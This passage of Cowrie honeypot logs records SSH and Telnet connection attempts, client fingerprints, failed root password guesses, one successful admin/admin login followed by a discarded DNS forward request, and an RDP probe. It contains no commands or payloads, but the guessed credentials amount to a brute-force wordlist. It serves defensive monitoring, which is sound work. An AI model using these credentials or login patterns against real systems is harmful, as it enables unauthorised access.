f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:26.279634Z","src_ip":"43.156.63.254","session":"cc1a88e5fb86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"haslo123","message":"login attempt [root/haslo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:27.291833Z","src_ip":"43.156.63.254","session":"cc1a88e5fb86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":37462,"dst_ip":"10.17.0.5","dst_port":22,"session":"58c144e3c064","protocol":"ssh","message":"New connection: 87.251.64.176:37462 (10.17.0.5:22) [session: 58c144e3c064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:27.622031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:27.627756Z","src_ip":"87.251.64.176","session":"58c144e3c064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:27.726107Z","src_ip":"87.251.64.176","session":"58c144e3c064","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:28.019477Z","src_ip":"87.251.64.176","session":"58c144e3c064","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:28.122487Z","session":"58c144e3c064","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:28.221154Z","src_ip":"87.251.64.176","session":"58c144e3c064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:28.321404Z","src_ip":"87.251.64.176","session":"58c144e3c064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:28.539581Z","src_ip":"43.156.63.254","session":"cc1a88e5fb86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":44822,"dst_ip":"10.17.0.5","dst_port":22,"session":"476259fbf709","protocol":"ssh","message":"New connection: 147.45.197.250:44822 (10.17.0.5:22) [session: 476259fbf709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:28.877620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:28.882951Z","src_ip":"147.45.197.250","session":"476259fbf709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:28.972723Z","src_ip":"147.45.197.250","session":"476259fbf709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1233212","message":"login attempt [root/1233212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:29.243465Z","src_ip":"147.45.197.250","session":"476259fbf709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":51932,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdab95bb8f24","protocol":"ssh","message":"New connection: 79.117.24.180:51932 (10.17.0.5:22) [session: bdab95bb8f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:29.875473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:29.880113Z","src_ip":"79.117.24.180","session":"bdab95bb8f24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:29.995580Z","src_ip":"79.117.24.180","session":"bdab95bb8f24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:30.336573Z","src_ip":"147.45.197.250","session":"476259fbf709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spectra","message":"login attempt [root/spectra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:30.473896Z","src_ip":"79.117.24.180","session":"bdab95bb8f24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:31.593536Z","src_ip":"79.117.24.180","session":"bdab95bb8f24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00175881385803,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:32.548034Z","src_ip":"152.42.224.71","session":"2e9f9170a880","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52443,"dst_ip":"10.17.0.5","dst_port":22,"session":"a00faf79b3cf","protocol":"ssh","message":"New connection: 152.42.212.128:52443 (10.17.0.5:22) [session: a00faf79b3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:33.622742Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:33.628088Z","src_ip":"152.42.212.128","session":"a00faf79b3cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:33.631864Z","src_ip":"152.42.212.128","session":"a00faf79b3cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39674,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0c31d543dd9","protocol":"telnet","message":"New connection: 152.42.224.71:39674 (10.17.0.5:23) [session: e0c31d543dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:34.054156Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":46202,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbd06bc6c502","protocol":"ssh","message":"New connection: 80.66.85.226:46202 (159.203.135.109:22) [session: fbd06bc6c502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:42.775395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:42.783837Z","src_ip":"80.66.85.226","session":"fbd06bc6c502","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:42.878703Z","src_ip":"80.66.85.226","session":"fbd06bc6c502","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arsenal","message":"login attempt [root/arsenal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:43.162429Z","src_ip":"80.66.85.226","session":"fbd06bc6c502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:44.259138Z","src_ip":"80.66.85.226","session":"fbd06bc6c502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.76952338218689,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:57.910294Z","src_ip":"152.42.224.71","session":"82763f442dfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":54698,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bc6a7d4cc95","protocol":"ssh","message":"New connection: 43.134.142.250:54698 (10.17.0.5:22) [session: 2bc6a7d4cc95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:59.170435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:59.175231Z","src_ip":"43.134.142.250","session":"2bc6a7d4cc95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:00:59.420546Z","src_ip":"43.134.142.250","session":"2bc6a7d4cc95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"travis","message":"login attempt [root/travis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:00.435574Z","src_ip":"43.134.142.250","session":"2bc6a7d4cc95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:01.684704Z","src_ip":"43.134.142.250","session":"2bc6a7d4cc95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.84588813781738,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:03.692762Z","src_ip":"152.42.224.71","session":"1ed119c1d1f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.38459634780884,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:06.484202Z","src_ip":"152.42.224.71","session":"a4b8cf8dc645","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48454,"dst_ip":"10.17.0.5","dst_port":23,"session":"28de033e0462","protocol":"telnet","message":"New connection: 152.42.224.71:48454 (10.17.0.5:23) [session: 28de033e0462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:06.572743Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48464,"dst_ip":"10.17.0.5","dst_port":23,"session":"44481f376841","protocol":"telnet","message":"New connection: 152.42.224.71:48464 (10.17.0.5:23) [session: 44481f376841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:08.018082Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48466,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ba792fb4926","protocol":"telnet","message":"New connection: 152.42.224.71:48466 (10.17.0.5:23) [session: 6ba792fb4926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:08.028522Z"}
{"eventid":"cowrie.session.closed","duration":40.732558727264404,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:14.786616Z","src_ip":"152.42.224.71","session":"e0c31d543dd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52676,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3833505f5eb","protocol":"telnet","message":"New connection: 152.42.224.71:52676 (10.17.0.5:23) [session: b3833505f5eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:24.815845Z"}
{"eventid":"cowrie.session.closed","duration":120.00154256820679,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:25.410918Z","src_ip":"152.42.224.71","session":"65113179bb87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44442,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce8cfa8b0772","protocol":"telnet","message":"New connection: 152.42.224.71:44442 (10.17.0.5:23) [session: ce8cfa8b0772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:35.988970Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":37088,"dst_ip":"10.17.0.5","dst_port":22,"session":"65fb046c13ce","protocol":"ssh","message":"New connection: 171.244.37.103:37088 (10.17.0.5:22) [session: 65fb046c13ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:40.449124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:40.457818Z","src_ip":"171.244.37.103","session":"65fb046c13ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:40.704392Z","src_ip":"171.244.37.103","session":"65fb046c13ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ashok@123","message":"login attempt [root/ashok@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:41.717712Z","src_ip":"171.244.37.103","session":"65fb046c13ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:42.967477Z","src_ip":"171.244.37.103","session":"65fb046c13ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.41555857658386,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:45.433476Z","src_ip":"152.42.224.71","session":"44481f376841","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.87889838218689,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:45.451544Z","src_ip":"152.42.224.71","session":"28de033e0462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54564,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc4dee2318a8","protocol":"telnet","message":"New connection: 152.42.224.71:54564 (10.17.0.5:23) [session: bc4dee2318a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:46.850523Z"}
